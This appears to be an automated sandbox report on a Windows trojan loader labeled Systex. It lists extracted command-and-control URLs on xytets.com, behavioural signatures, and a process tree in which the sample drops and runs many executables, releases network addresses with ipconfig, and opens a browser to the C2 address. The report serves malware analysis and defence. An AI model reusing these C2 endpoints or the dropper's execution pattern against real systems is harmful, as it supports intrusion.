Analysis
- max time kernel
149s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/10/2026, 22:26
General
- Target 2026-10-22_08f4a647b174e8b71f1ecb47f5569469_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample261024-2cscesfh59
- SHA256 dcb46629b0d0e6f6b6cab3a1adbd3ec8d1615f32a19e60134ad9677679ab0100
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-22_08f4a647b174e8b71f1ecb47f5569469_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-22_08f4a647b174e8b71f1ecb47f5569469_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\czusecwuomjeczur.exeC:\Temp\czusecwuomjeczur.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hbztrmjhbz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\hbztrmjhbz.exeC:\Temp\hbztrmjhbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hbztrmjhbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hbztrmjhbz.exeC:\Temp\i_hbztrmjhbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgeywqomj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\omgeywqomj.exeC:\Temp\omgeywqomj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgeywqomj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_omgeywqomj.exeC:\Temp\i_omgeywqomj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\geywqoigby.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\geywqoigby.exeC:\Temp\geywqoigby.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_geywqoigby.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_geywqoigby.exeC:\Temp\i_geywqoigby.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lfdyvqoiga.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lfdyvqoiga.exeC:\Temp\lfdyvqoiga.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lfdyvqoiga.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lfdyvqoiga.exeC:\Temp\i_lfdyvqoiga.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpnifaysql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vpnifaysql.exeC:\Temp\vpnifaysql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpnifaysql.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vpnifaysql.exeC:\Temp\i_vpnifaysql.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxnifayspk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dxnifayspk.exeC:\Temp\dxnifayspk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxnifayspk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dxnifayspk.exeC:\Temp\i_dxnifayspk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcxvpnhfzx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fcxvpnhfzx.exeC:\Temp\fcxvpnhfzx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcxvpnhfzx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fcxvpnhfzx.exeC:\Temp\i_fcxvpnhfzx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\khfzxusmkh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\khfzxusmkh.exeC:\Temp\khfzxusmkh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_khfzxusmkh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_khfzxusmkh.exeC:\Temp\i_khfzxusmkh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hbzuomjecw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hbzuomjecw.exeC:\Temp\hbzuomjecw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hbzuomjecw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hbzuomjecw.exeC:\Temp\i_hbzuomjecw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjhbzwuomh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pjhbzwuomh.exeC:\Temp\pjhbzwuomh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjhbzwuomh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pjhbzwuomh.exeC:\Temp\i_pjhbzwuomh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jgeywtrljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jgeywtrljd.exeC:\Temp\jgeywtrljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jgeywtrljd.exe ups_ins3⤵
-
C:\Temp\i_jgeywtrljd.exeC:\Temp\i_jgeywtrljd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaytqljdb.exe ups_run3⤵
-
C:\Temp\igaytqljdb.exeC:\Temp\igaytqljdb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaytqljdb.exe ups_ins3⤵
-
C:\Temp\i_igaytqljdb.exeC:\Temp\i_igaytqljdb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idbvtnlfdy.exe ups_run3⤵
-
C:\Temp\idbvtnlfdy.exeC:\Temp\idbvtnlfdy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idbvtnlfdy.exe ups_ins3⤵
-
C:\Temp\i_idbvtnlfdy.exeC:\Temp\i_idbvtnlfdy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\aytqdaxsqk.exe ups_run3⤵
-
C:\Temp\aytqdaxsqk.exeC:\Temp\aytqdaxsqk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_aytqdaxsqk.exe ups_ins3⤵
-
C:\Temp\i_aytqdaxsqk.exeC:\Temp\i_aytqdaxsqk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\faxspkicax.exe ups_run3⤵
-
C:\Temp\faxspkicax.exeC:\Temp\faxspkicax.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_faxspkicax.exe ups_ins3⤵
-
C:\Temp\i_faxspkicax.exeC:\Temp\i_faxspkicax.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxrpkhczus.exe ups_run3⤵
-
C:\Temp\zxrpkhczus.exeC:\Temp\zxrpkhczus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxrpkhczus.exe ups_ins3⤵
-
C:\Temp\i_zxrpkhczus.exeC:\Temp\i_zxrpkhczus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zurpmhezxr.exe ups_run3⤵
-
C:\Temp\zurpmhezxr.exeC:\Temp\zurpmhezxr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zurpmhezxr.exe ups_ins3⤵
-
C:\Temp\i_zurpmhezxr.exeC:\Temp\i_zurpmhezxr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jecwuomhez.exe ups_run3⤵
-
C:\Temp\jecwuomhez.exeC:\Temp\jecwuomhez.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jecwuomhez.exe ups_ins3⤵
-
C:\Temp\i_jecwuomhez.exeC:\Temp\i_jecwuomhez.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgeywrojgb.exe ups_run3⤵
-
C:\Temp\mgeywrojgb.exeC:\Temp\mgeywrojgb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgeywrojgb.exe ups_ins3⤵
-
C:\Temp\i_mgeywrojgb.exeC:\Temp\i_mgeywrojgb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgdbywqolj.exe ups_run3⤵
-
C:\Temp\mgdbywqolj.exeC:\Temp\mgdbywqolj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffe8f65c188,0x7ffe8f65c194,0x7ffe8f65c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2116,i,11960091677577411799,14575394603797971880,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1956,i,2831955932661591769,3048995352452258854,262144 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2640,i,4204605450666448265,17374697700252972130,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=2668 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,15787822794901836545,3770405605244044063,2097152 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,6311366148127216183,1302948120740573681,2097152 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4276,i,10381754288765605358,17856160305269935087,2097152 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,3367963957801614073,605370921398831753,2097152 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5052,i,6943552736982331130,15469119703873811479,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5464,i,12843432077215677312,7542806457374358242,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,7343740405376299298,2603532805119519724,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,14298615862980011429,11918124958012785931,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,14298615862980011429,11918124958012785931,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,3687144656780405307,2553429721211154748,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6312,i,5160122811294409274,16264979636115729313,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,2387986428941836971,974702974406882526,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5820,i,8856085277949493204,2219567176634773054,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,11309795556601467946,9316366325441625754,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:144⤵
-
-
